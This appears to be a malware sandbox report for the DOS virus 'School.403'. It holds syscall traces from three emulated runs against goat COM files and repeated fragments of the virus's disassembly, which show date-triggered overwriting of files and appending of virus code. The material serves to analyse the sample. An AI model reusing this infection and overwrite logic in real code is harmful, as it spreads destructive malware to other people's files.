Sample viewer

vx.netlux.org/Virus.DOS.School.403

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:24:47.395428987Z 78 PC: 12bab | Find first file
2018-12-17T22:24:47.40263798Z 47 PC: 12bbf | Get disk transfer address
2018-12-17T22:24:47.40434208Z 61 PC: 12bce | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:24:47.411008082Z 42 PC: 12bd7 | Get date 0x12bd7: cmp dl, 0x11
0x12bda: je 0x12bdf
0x12bdc: jmp 0x12c05
0x12bde: nop
0x12bdf: mov ax, 0x4200
0x12be2: mov dx, 2
0x12be5: xor cx, cx
0x12be7: int 0x21
0x12be9: mov ax, 0x1140
0x12bec: push ax
0x12bed: mov ah, al
0x12bef: mov cx, 0x3a
0x12bf2: mov dx, 0x243
0x12bf5: add dx, di
0x12bf7: jmp 0x12c00
0x12bf9: nop
0x12bfa: int 0x21
0x12bfc: pop ax
0x12bfd: jmp 0x12c02
0x12bff: nop
2018-12-17T22:24:47.414839435Z 66 PC: 12be9 | Move file pointer
2018-12-17T22:24:47.416215263Z 64 PC: 12bfc | Write file or device (Write 58 bytes on handle 5)
2018-12-17T22:24:47.423502776Z 62 PC: 12ca0 | Close file
2018-12-17T22:24:47.447553881Z 79 PC: 12ca6 | Find next file
2018-12-17T22:24:47.450951514Z 47 PC: 12bbf | Get disk transfer address
2018-12-17T22:24:47.452217861Z 61 PC: 12bce | Open file (Filename = 'PRINT.COM')
2018-12-17T22:24:47.459069809Z 42 PC: 12bd7 | Get date 0x12bd7: cmp dl, 0x11
0x12bda: je 0x12bdf
0x12bdc: jmp 0x12c05
0x12bde: nop
0x12bdf: mov ax, 0x4200
0x12be2: mov dx, 2
0x12be5: xor cx, cx
0x12be7: int 0x21
0x12be9: mov ax, 0x1140
0x12bec: push ax
0x12bed: mov ah, al
0x12bef: mov cx, 0x3a
0x12bf2: mov dx, 0x243
0x12bf5: add dx, di
0x12bf7: jmp 0x12c00
0x12bf9: nop
0x12bfa: int 0x21
0x12bfc: pop ax
0x12bfd: jmp 0x12c02
0x12bff: nop
2018-12-17T22:24:47.461805027Z 66 PC: 12be9 | Move file pointer
2018-12-17T22:24:47.463465735Z 64 PC: 12bfc | Write file or device (Write 58 bytes on handle 5)
2018-12-17T22:24:47.472373729Z 62 PC: 12ca0 | Close file
2018-12-17T22:24:47.480599801Z 79 PC: 12ca6 | Find next file
2018-12-17T22:24:47.483497378Z 47 PC: 12bbf | Get disk transfer address
2018-12-17T22:24:47.484865781Z 61 PC: 12bce | Open file (Filename = 'HELLO.COM')
2018-12-17T22:24:47.491760852Z 42 PC: 12bd7 | Get date 0x12bd7: cmp dl, 0x11
0x12bda: je 0x12bdf
0x12bdc: jmp 0x12c05
0x12bde: nop
0x12bdf: mov ax, 0x4200
0x12be2: mov dx, 2
0x12be5: xor cx, cx
0x12be7: int 0x21
0x12be9: mov ax, 0x1140
0x12bec: push ax
0x12bed: mov ah, al
0x12bef: mov cx, 0x3a
0x12bf2: mov dx, 0x243
0x12bf5: add dx, di
0x12bf7: jmp 0x12c00
0x12bf9: nop
0x12bfa: int 0x21
0x12bfc: pop ax
0x12bfd: jmp 0x12c02
0x12bff: nop
2018-12-17T22:24:47.494119745Z 66 PC: 12be9 | Move file pointer
2018-12-17T22:24:47.495583829Z 64 PC: 12bfc | Write file or device (Write 58 bytes on handle 5)
2018-12-17T22:24:47.502985443Z 62 PC: 12ca0 | Close file
2018-12-17T22:24:47.510968092Z 79 PC: 12ca6 | Find next file
2018-12-17T22:24:47.513732979Z 47 PC: 12bbf | Get disk transfer address
2018-12-17T22:24:47.516129986Z 61 PC: 12bce | Open file (Filename = 'PHANG.COM')
2018-12-17T22:24:47.522667218Z 42 PC: 12bd7 | Get date 0x12bd7: cmp dl, 0x11
0x12bda: je 0x12bdf
0x12bdc: jmp 0x12c05
0x12bde: nop
0x12bdf: mov ax, 0x4200
0x12be2: mov dx, 2
0x12be5: xor cx, cx
0x12be7: int 0x21
0x12be9: mov ax, 0x1140
0x12bec: push ax
0x12bed: mov ah, al
0x12bef: mov cx, 0x3a
0x12bf2: mov dx, 0x243
0x12bf5: add dx, di
0x12bf7: jmp 0x12c00
0x12bf9: nop
0x12bfa: int 0x21
0x12bfc: pop ax
0x12bfd: jmp 0x12c02
0x12bff: nop
2018-12-17T22:24:47.524788242Z 66 PC: 12be9 | Move file pointer
2018-12-17T22:24:47.52774132Z 64 PC: 12bfc | Write file or device (Write 58 bytes on handle 5)
2018-12-17T22:24:47.535028309Z 62 PC: 12ca0 | Close file
2018-12-17T22:24:47.542735818Z 79 PC: 12ca6 | Find next file
2018-12-17T22:24:47.54544409Z 47 PC: 12bbf | Get disk transfer address
2018-12-17T22:24:47.552679859Z 61 PC: 12bce | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:24:47.558853584Z 42 PC: 12bd7 | Get date 0x12bd7: cmp dl, 0x11
0x12bda: je 0x12bdf
0x12bdc: jmp 0x12c05
0x12bde: nop
0x12bdf: mov ax, 0x4200
0x12be2: mov dx, 2
0x12be5: xor cx, cx
0x12be7: int 0x21
0x12be9: mov ax, 0x1140
0x12bec: push ax
0x12bed: mov ah, al
0x12bef: mov cx, 0x3a
0x12bf2: mov dx, 0x243
0x12bf5: add dx, di
0x12bf7: jmp 0x12c00
0x12bf9: nop
0x12bfa: int 0x21
0x12bfc: pop ax
0x12bfd: jmp 0x12c02
0x12bff: nop
2018-12-17T22:24:47.560845194Z 66 PC: 12be9 | Move file pointer
2018-12-17T22:24:47.564065037Z 64 PC: 12bfc | Write file or device (Write 58 bytes on handle 5)
2018-12-17T22:24:47.570310379Z 62 PC: 12ca0 | Close file
2018-12-17T22:24:47.577888061Z 79 PC: 12ca6 | Find next file
2018-12-17T22:24:47.582291343Z 47 PC: 12bbf | Get disk transfer address
2018-12-17T22:24:47.583689644Z 61 PC: 12bce | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:24:47.590222937Z 42 PC: 12bd7 | Get date 0x12bd7: cmp dl, 0x11
0x12bda: je 0x12bdf
0x12bdc: jmp 0x12c05
0x12bde: nop
0x12bdf: mov ax, 0x4200
0x12be2: mov dx, 2
0x12be5: xor cx, cx
0x12be7: int 0x21
0x12be9: mov ax, 0x1140
0x12bec: push ax
0x12bed: mov ah, al
0x12bef: mov cx, 0x3a
0x12bf2: mov dx, 0x243
0x12bf5: add dx, di
0x12bf7: jmp 0x12c00
0x12bf9: nop
0x12bfa: int 0x21
0x12bfc: pop ax
0x12bfd: jmp 0x12c02
0x12bff: nop
2018-12-17T22:24:47.593492373Z 66 PC: 12be9 | Move file pointer
2018-12-17T22:24:47.595094578Z 64 PC: 12bfc | Write file or device (Write 58 bytes on handle 5)
2018-12-17T22:24:47.60159167Z 62 PC: 12ca0 | Close file
2018-12-17T22:24:47.609835961Z 79 PC: 12ca6 | Find next file
2018-12-17T22:24:47.612257001Z 47 PC: 12bbf | Get disk transfer address
2018-12-17T22:24:47.613235183Z 61 PC: 12bce | Open file (Filename = 'PAH.COM')
2018-12-17T22:24:47.620126435Z 42 PC: 12bd7 | Get date 0x12bd7: cmp dl, 0x11
0x12bda: je 0x12bdf
0x12bdc: jmp 0x12c05
0x12bde: nop
0x12bdf: mov ax, 0x4200
0x12be2: mov dx, 2
0x12be5: xor cx, cx
0x12be7: int 0x21
0x12be9: mov ax, 0x1140
0x12bec: push ax
0x12bed: mov ah, al
0x12bef: mov cx, 0x3a
0x12bf2: mov dx, 0x243
0x12bf5: add dx, di
0x12bf7: jmp 0x12c00
0x12bf9: nop
0x12bfa: int 0x21
0x12bfc: pop ax
0x12bfd: jmp 0x12c02
0x12bff: nop
2018-12-17T22:24:47.622189341Z 66 PC: 12be9 | Move file pointer
2018-12-17T22:24:47.624305531Z 64 PC: 12bfc | Write file or device (Write 58 bytes on handle 5)
2018-12-17T22:24:47.631591923Z 62 PC: 12ca0 | Close file
2018-12-17T22:24:47.639218029Z 79 PC: 12ca6 | Find next file
2018-12-17T22:24:47.643382863Z 47 PC: 12bbf | Get disk transfer address
2018-12-17T22:24:47.645205989Z 61 PC: 12bce | Open file (Filename = 'TEST.COM')
2018-12-17T22:24:47.651363723Z 42 PC: 12bd7 | Get date 0x12bd7: cmp dl, 0x11
0x12bda: je 0x12bdf
0x12bdc: jmp 0x12c05
0x12bde: nop
0x12bdf: mov ax, 0x4200
0x12be2: mov dx, 2
0x12be5: xor cx, cx
0x12be7: int 0x21
0x12be9: mov ax, 0x1140
0x12bec: push ax
0x12bed: mov ah, al
0x12bef: mov cx, 0x3a
0x12bf2: mov dx, 0x243
0x12bf5: add dx, di
0x12bf7: jmp 0x12c00
0x12bf9: nop
0x12bfa: int 0x21
0x12bfc: pop ax
0x12bfd: jmp 0x12c02
0x12bff: nop
2018-12-17T22:24:47.653951211Z 66 PC: 12be9 | Move file pointer
2018-12-17T22:24:47.65667532Z 64 PC: 12bfc | Write file or device (Write 58 bytes on handle 5)
2018-12-17T22:24:47.659288138Z 62 PC: 12ca0 | Close file
2018-12-17T22:24:47.666597451Z 79 PC: 12ca6 | Find next file
2018-12-17T22:24:47.668877299Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ')
2018-12-17T22:24:47.673767895Z 76 PC: 12a86 | Terminate with return code (Return code = '36')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":4382,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:51:36.693300252Z 78 PC: 12bab | Find first file
2018-12-25T11:51:36.701302155Z 47 PC: 12bbf | Get disk transfer address
2018-12-25T11:51:36.702558606Z 61 PC: 12bce | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:51:36.709117196Z 42 PC: 12bd7 | Get date 0x12bd7: cmp dl, 0x11
0x12bda: je 0x12bdf
0x12bdc: jmp 0x12c05
0x12bde: nop
0x12bdf: mov ax, 0x4200
0x12be2: mov dx, 2
0x12be5: xor cx, cx
0x12be7: int 0x21
0x12be9: mov ax, 0x1140
0x12bec: push ax
0x12bed: mov ah, al
0x12bef: mov cx, 0x3a
0x12bf2: mov dx, 0x243
0x12bf5: add dx, di
0x12bf7: jmp 0x12c00
0x12bf9: nop
0x12bfa: int 0x21
0x12bfc: pop ax
0x12bfd: jmp 0x12c02
0x12bff: nop
2018-12-25T11:51:36.712309563Z 66 PC: 12c0e | Move file pointer
2018-12-25T11:51:36.714014245Z 63 PC: 12c1b | Read file or device (Read 2 bytes on handle 5)
2018-12-25T11:51:36.720293642Z 66 PC: 12c36 | Move file pointer
2018-12-25T11:51:36.722053456Z 64 PC: 12c53 | Write file or device (Write 398 bytes on handle 5)
2018-12-25T11:51:37.591602892Z 66 PC: 12c5e | Move file pointer
2018-12-25T11:51:37.59338906Z 63 PC: 12c6b | Read file or device (Read 4 bytes on handle 5)
2018-12-25T11:51:37.600169828Z 66 PC: 12c76 | Move file pointer
2018-12-25T11:51:37.602609109Z 64 PC: 12c83 | Write file or device (Write 5 bytes on handle 5)
2018-12-25T11:51:37.605830019Z 66 PC: 12c8e | Move file pointer
2018-12-25T11:51:37.607391841Z 64 PC: 12c9a | Write file or device (Write 4 bytes on handle 5)
2018-12-25T11:51:37.610757511Z 62 PC: 12ca0 | Close file
2018-12-25T11:51:37.618834044Z 79 PC: 12ca6 | Find next file
2018-12-25T11:51:37.621674043Z 47 PC: 12bbf | Get disk transfer address (See above)
2018-12-25T11:51:37.624779413Z 61 PC: 12bce | Open file (See above)
2018-12-25T11:51:37.63208251Z 42 PC: 12bd7 | Get date (See above)
2018-12-25T11:51:37.636290936Z 66 PC: 12c0e | Move file pointer (See above)
2018-12-25T11:51:37.639173632Z 63 PC: 12c1b | Read file or device (See above)
2018-12-25T11:51:37.645739374Z 66 PC: 12c36 | Move file pointer (See above)
2018-12-25T11:51:37.647726863Z 64 PC: 12c53 | Write file or device (See above)
2018-12-25T11:51:37.651221894Z 66 PC: 12c5e | Move file pointer (See above)
2018-12-25T11:51:37.652576031Z 63 PC: 12c6b | Read file or device (See above)
2018-12-25T11:51:37.655474789Z 66 PC: 12c76 | Move file pointer (See above)
2018-12-25T11:51:37.657903451Z 64 PC: 12c83 | Write file or device (See above)
2018-12-25T11:51:37.661182268Z 66 PC: 12c8e | Move file pointer (See above)
2018-12-25T11:51:37.66248793Z 64 PC: 12c9a | Write file or device (See above)
2018-12-25T11:51:37.665715471Z 62 PC: 12ca0 | Close file (See above)
2018-12-25T11:51:37.675786618Z 79 PC: 12ca6 | Find next file (See above)
2018-12-25T11:51:37.678794696Z 47 PC: 12bbf | Get disk transfer address (See above)
2018-12-25T11:51:37.681107301Z 61 PC: 12bce | Open file (See above)
2018-12-25T11:51:37.688279273Z 42 PC: 12bd7 | Get date (See above)
2018-12-25T11:51:37.690676222Z 66 PC: 12c0e | Move file pointer (See above)
2018-12-25T11:51:37.69248014Z 63 PC: 12c1b | Read file or device (See above)
2018-12-25T11:51:37.699803973Z 66 PC: 12c36 | Move file pointer (See above)
2018-12-25T11:51:37.701433037Z 64 PC: 12c53 | Write file or device (See above)
2018-12-25T11:51:37.704294458Z 66 PC: 12c5e | Move file pointer (See above)
2018-12-25T11:51:37.706795606Z 63 PC: 12c6b | Read file or device (See above)
2018-12-25T11:51:37.711319958Z 66 PC: 12c76 | Move file pointer (See above)
2018-12-25T11:51:37.712657868Z 64 PC: 12c83 | Write file or device (See above)
2018-12-25T11:51:37.715805096Z 66 PC: 12c8e | Move file pointer (See above)
2018-12-25T11:51:37.717701487Z 64 PC: 12c9a | Write file or device (See above)
2018-12-25T11:51:37.720519568Z 62 PC: 12ca0 | Close file (See above)
2018-12-25T11:51:37.729108258Z 79 PC: 12ca6 | Find next file (See above)
2018-12-25T11:51:37.732982773Z 47 PC: 12bbf | Get disk transfer address (See above)
2018-12-25T11:51:37.734374971Z 61 PC: 12bce | Open file (See above)
2018-12-25T11:51:37.741685801Z 42 PC: 12bd7 | Get date (See above)
2018-12-25T11:51:37.743971915Z 66 PC: 12c0e | Move file pointer (See above)
2018-12-25T11:51:37.745359307Z 63 PC: 12c1b | Read file or device (See above)
2018-12-25T11:51:37.753123986Z 66 PC: 12c36 | Move file pointer (See above)
2018-12-25T11:51:37.755013247Z 64 PC: 12c53 | Write file or device (See above)
2018-12-25T11:51:37.757900666Z 66 PC: 12c5e | Move file pointer (See above)
2018-12-25T11:51:37.759761848Z 63 PC: 12c6b | Read file or device (See above)
2018-12-25T11:51:37.763271754Z 66 PC: 12c76 | Move file pointer (See above)
2018-12-25T11:51:37.765228772Z 64 PC: 12c83 | Write file or device (See above)
2018-12-25T11:51:37.768321556Z 66 PC: 12c8e | Move file pointer (See above)
2018-12-25T11:51:37.771464196Z 64 PC: 12c9a | Write file or device (See above)
2018-12-25T11:51:37.77480373Z 62 PC: 12ca0 | Close file (See above)
2018-12-25T11:51:37.783453064Z 79 PC: 12ca6 | Find next file (See above)
2018-12-25T11:51:37.787009803Z 47 PC: 12bbf | Get disk transfer address (See above)
2018-12-25T11:51:37.788180259Z 61 PC: 12bce | Open file (See above)
2018-12-25T11:51:37.794771001Z 42 PC: 12bd7 | Get date (See above)
2018-12-25T11:51:37.79795754Z 66 PC: 12c0e | Move file pointer (See above)
2018-12-25T11:51:37.799599537Z 63 PC: 12c1b | Read file or device (See above)
2018-12-25T11:51:37.814133956Z 66 PC: 12c36 | Move file pointer (See above)
2018-12-25T11:51:37.816277363Z 64 PC: 12c53 | Write file or device (See above)
2018-12-25T11:51:37.81887435Z 66 PC: 12c5e | Move file pointer (See above)
2018-12-25T11:51:37.820175187Z 63 PC: 12c6b | Read file or device (See above)
2018-12-25T11:51:37.823413863Z 66 PC: 12c76 | Move file pointer (See above)
2018-12-25T11:51:37.824747493Z 64 PC: 12c83 | Write file or device (See above)
2018-12-25T11:51:37.827342978Z 66 PC: 12c8e | Move file pointer (See above)
2018-12-25T11:51:37.829701294Z 64 PC: 12c9a | Write file or device (See above)
2018-12-25T11:51:37.83235914Z 62 PC: 12ca0 | Close file (See above)
2018-12-25T11:51:37.840415205Z 79 PC: 12ca6 | Find next file (See above)
2018-12-25T11:51:37.844040353Z 47 PC: 12bbf | Get disk transfer address (See above)
2018-12-25T11:51:37.845756838Z 61 PC: 12bce | Open file (See above)
2018-12-25T11:51:37.852476742Z 42 PC: 12bd7 | Get date (See above)
2018-12-25T11:51:37.855136952Z 66 PC: 12c0e | Move file pointer (See above)
2018-12-25T11:51:37.857478353Z 63 PC: 12c1b | Read file or device (See above)
2018-12-25T11:51:37.863661147Z 66 PC: 12c36 | Move file pointer (See above)
2018-12-25T11:51:37.865100067Z 64 PC: 12c53 | Write file or device (See above)
2018-12-25T11:51:37.874015118Z 66 PC: 12c5e | Move file pointer (See above)
2018-12-25T11:51:37.875322287Z 63 PC: 12c6b | Read file or device (See above)
2018-12-25T11:51:37.881441731Z 66 PC: 12c76 | Move file pointer (See above)
2018-12-25T11:51:37.88385226Z 64 PC: 12c83 | Write file or device (See above)
2018-12-25T11:51:37.886842027Z 66 PC: 12c8e | Move file pointer (See above)
2018-12-25T11:51:37.888124688Z 64 PC: 12c9a | Write file or device (See above)
2018-12-25T11:51:37.891931941Z 62 PC: 12ca0 | Close file (See above)
2018-12-25T11:51:37.900044077Z 79 PC: 12ca6 | Find next file (See above)
2018-12-25T11:51:37.902849306Z 47 PC: 12bbf | Get disk transfer address (See above)
2018-12-25T11:51:37.904809037Z 61 PC: 12bce | Open file (See above)
2018-12-25T11:51:37.911814617Z 42 PC: 12bd7 | Get date (See above)
2018-12-25T11:51:37.914255546Z 66 PC: 12c0e | Move file pointer (See above)
2018-12-25T11:51:37.916653017Z 63 PC: 12c1b | Read file or device (See above)
2018-12-25T11:51:37.923084378Z 66 PC: 12c36 | Move file pointer (See above)
2018-12-25T11:51:37.92419402Z 64 PC: 12c53 | Write file or device (See above)
2018-12-25T11:51:37.927675963Z 66 PC: 12c5e | Move file pointer (See above)
2018-12-25T11:51:37.929387208Z 63 PC: 12c6b | Read file or device (See above)
2018-12-25T11:51:37.9320058Z 66 PC: 12c76 | Move file pointer (See above)
2018-12-25T11:51:37.93433494Z 64 PC: 12c83 | Write file or device (See above)
2018-12-25T11:51:37.937325334Z 66 PC: 12c8e | Move file pointer (See above)
2018-12-25T11:51:37.938897289Z 64 PC: 12c9a | Write file or device (See above)
2018-12-25T11:51:37.941533853Z 62 PC: 12ca0 | Close file (See above)
2018-12-25T11:51:37.950649358Z 79 PC: 12ca6 | Find next file (See above)
2018-12-25T11:51:37.953135694Z 47 PC: 12bbf | Get disk transfer address (See above)
2018-12-25T11:51:37.954385492Z 61 PC: 12bce | Open file (See above)
2018-12-25T11:51:37.961515801Z 42 PC: 12bd7 | Get date (See above)
2018-12-25T11:51:37.963633202Z 66 PC: 12c0e | Move file pointer (See above)
2018-12-25T11:51:37.964923361Z 63 PC: 12c1b | Read file or device (See above)
2018-12-25T11:51:37.968133553Z 62 PC: 12ca0 | Close file (See above)
2018-12-25T11:51:37.969850074Z 79 PC: 12ca6 | Find next file (See above)
2018-12-25T11:51:37.972192835Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ')
2018-12-25T11:51:37.978170914Z 76 PC: 12a86 | Terminate with return code (Return code = '36')

{"DateBased":true,"Day":17,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":4382,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:51:36.760922662Z 78 PC: 12bab | Find first file
2018-12-25T11:51:36.768073077Z 47 PC: 12bbf | Get disk transfer address
2018-12-25T11:51:36.769779018Z 61 PC: 12bce | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:51:36.777129321Z 42 PC: 12bd7 | Get date 0x12bd7: cmp dl, 0x11
0x12bda: je 0x12bdf
0x12bdc: jmp 0x12c05
0x12bde: nop
0x12bdf: mov ax, 0x4200
0x12be2: mov dx, 2
0x12be5: xor cx, cx
0x12be7: int 0x21
0x12be9: mov ax, 0x1140
0x12bec: push ax
0x12bed: mov ah, al
0x12bef: mov cx, 0x3a
0x12bf2: mov dx, 0x243
0x12bf5: add dx, di
0x12bf7: jmp 0x12c00
0x12bf9: nop
0x12bfa: int 0x21
0x12bfc: pop ax
0x12bfd: jmp 0x12c02
0x12bff: nop
2018-12-25T11:51:36.77970809Z 66 PC: 12be9 | Move file pointer
2018-12-25T11:51:36.789583644Z 64 PC: 12bfc | Write file or device (Write 58 bytes on handle 5)
2018-12-25T11:51:36.796698707Z 62 PC: 12ca0 | Close file
2018-12-25T11:51:36.810918392Z 79 PC: 12ca6 | Find next file
2018-12-25T11:51:36.814397227Z 47 PC: 12bbf | Get disk transfer address (See above)
2018-12-25T11:51:36.815585731Z 61 PC: 12bce | Open file (See above)
2018-12-25T11:51:36.823176417Z 42 PC: 12bd7 | Get date (See above)
2018-12-25T11:51:36.826438673Z 66 PC: 12be9 | Move file pointer (See above)
2018-12-25T11:51:36.828587694Z 64 PC: 12bfc | Write file or device (See above)
2018-12-25T11:51:36.836091835Z 62 PC: 12ca0 | Close file (See above)
2018-12-25T11:51:36.846649094Z 79 PC: 12ca6 | Find next file (See above)
2018-12-25T11:51:36.849869898Z 47 PC: 12bbf | Get disk transfer address (See above)
2018-12-25T11:51:36.851543788Z 61 PC: 12bce | Open file (See above)
2018-12-25T11:51:36.859751524Z 42 PC: 12bd7 | Get date (See above)
2018-12-25T11:51:36.862586077Z 66 PC: 12be9 | Move file pointer (See above)
2018-12-25T11:51:36.864349455Z 64 PC: 12bfc | Write file or device (See above)
2018-12-25T11:51:36.871713369Z 62 PC: 12ca0 | Close file (See above)
2018-12-25T11:51:36.885964554Z 79 PC: 12ca6 | Find next file (See above)
2018-12-25T11:51:36.890483812Z 47 PC: 12bbf | Get disk transfer address (See above)
2018-12-25T11:51:36.892228374Z 61 PC: 12bce | Open file (See above)
2018-12-25T11:51:36.900481739Z 42 PC: 12bd7 | Get date (See above)
2018-12-25T11:51:36.903150462Z 66 PC: 12be9 | Move file pointer (See above)
2018-12-25T11:51:36.904985361Z 64 PC: 12bfc | Write file or device (See above)
2018-12-25T11:51:36.923835513Z 62 PC: 12ca0 | Close file (See above)
2018-12-25T11:51:36.932359202Z 79 PC: 12ca6 | Find next file (See above)
2018-12-25T11:51:36.93527004Z 47 PC: 12bbf | Get disk transfer address (See above)
2018-12-25T11:51:36.937546228Z 61 PC: 12bce | Open file (See above)
2018-12-25T11:51:36.944326935Z 42 PC: 12bd7 | Get date (See above)
2018-12-25T11:51:36.947245422Z 66 PC: 12be9 | Move file pointer (See above)
2018-12-25T11:51:36.949797691Z 64 PC: 12bfc | Write file or device (See above)
2018-12-25T11:51:36.957594229Z 62 PC: 12ca0 | Close file (See above)
2018-12-25T11:51:36.963850535Z 79 PC: 12ca6 | Find next file (See above)
2018-12-25T11:51:36.966949968Z 47 PC: 12bbf | Get disk transfer address (See above)
2018-12-25T11:51:36.968661055Z 61 PC: 12bce | Open file (See above)
2018-12-25T11:51:36.977425694Z 42 PC: 12bd7 | Get date (See above)
2018-12-25T11:51:36.985312863Z 66 PC: 12be9 | Move file pointer (See above)
2018-12-25T11:51:36.98735563Z 64 PC: 12bfc | Write file or device (See above)
2018-12-25T11:51:36.995402742Z 62 PC: 12ca0 | Close file (See above)
2018-12-25T11:51:37.00491855Z 79 PC: 12ca6 | Find next file (See above)
2018-12-25T11:51:37.009960264Z 47 PC: 12bbf | Get disk transfer address (See above)
2018-12-25T11:51:37.011688106Z 61 PC: 12bce | Open file (See above)
2018-12-25T11:51:37.019681397Z 42 PC: 12bd7 | Get date (See above)
2018-12-25T11:51:37.022769115Z 66 PC: 12be9 | Move file pointer (See above)
2018-12-25T11:51:37.024298541Z 64 PC: 12bfc | Write file or device (See above)
2018-12-25T11:51:37.03229445Z 62 PC: 12ca0 | Close file (See above)
2018-12-25T11:51:37.041654912Z 79 PC: 12ca6 | Find next file (See above)
2018-12-25T11:51:37.044635981Z 47 PC: 12bbf | Get disk transfer address (See above)
2018-12-25T11:51:37.045739314Z 61 PC: 12bce | Open file (See above)
2018-12-25T11:51:37.051159875Z 42 PC: 12bd7 | Get date (See above)
2018-12-25T11:51:37.054326547Z 66 PC: 12be9 | Move file pointer (See above)
2018-12-25T11:51:37.05630896Z 64 PC: 12bfc | Write file or device (See above)
2018-12-25T11:51:37.05932302Z 62 PC: 12ca0 | Close file (See above)
2018-12-25T11:51:37.069800567Z 79 PC: 12ca6 | Find next file (See above)
2018-12-25T11:51:37.073361376Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ')
2018-12-25T11:51:37.081647906Z 76 PC: 12a86 | Terminate with return code (Return code = '36')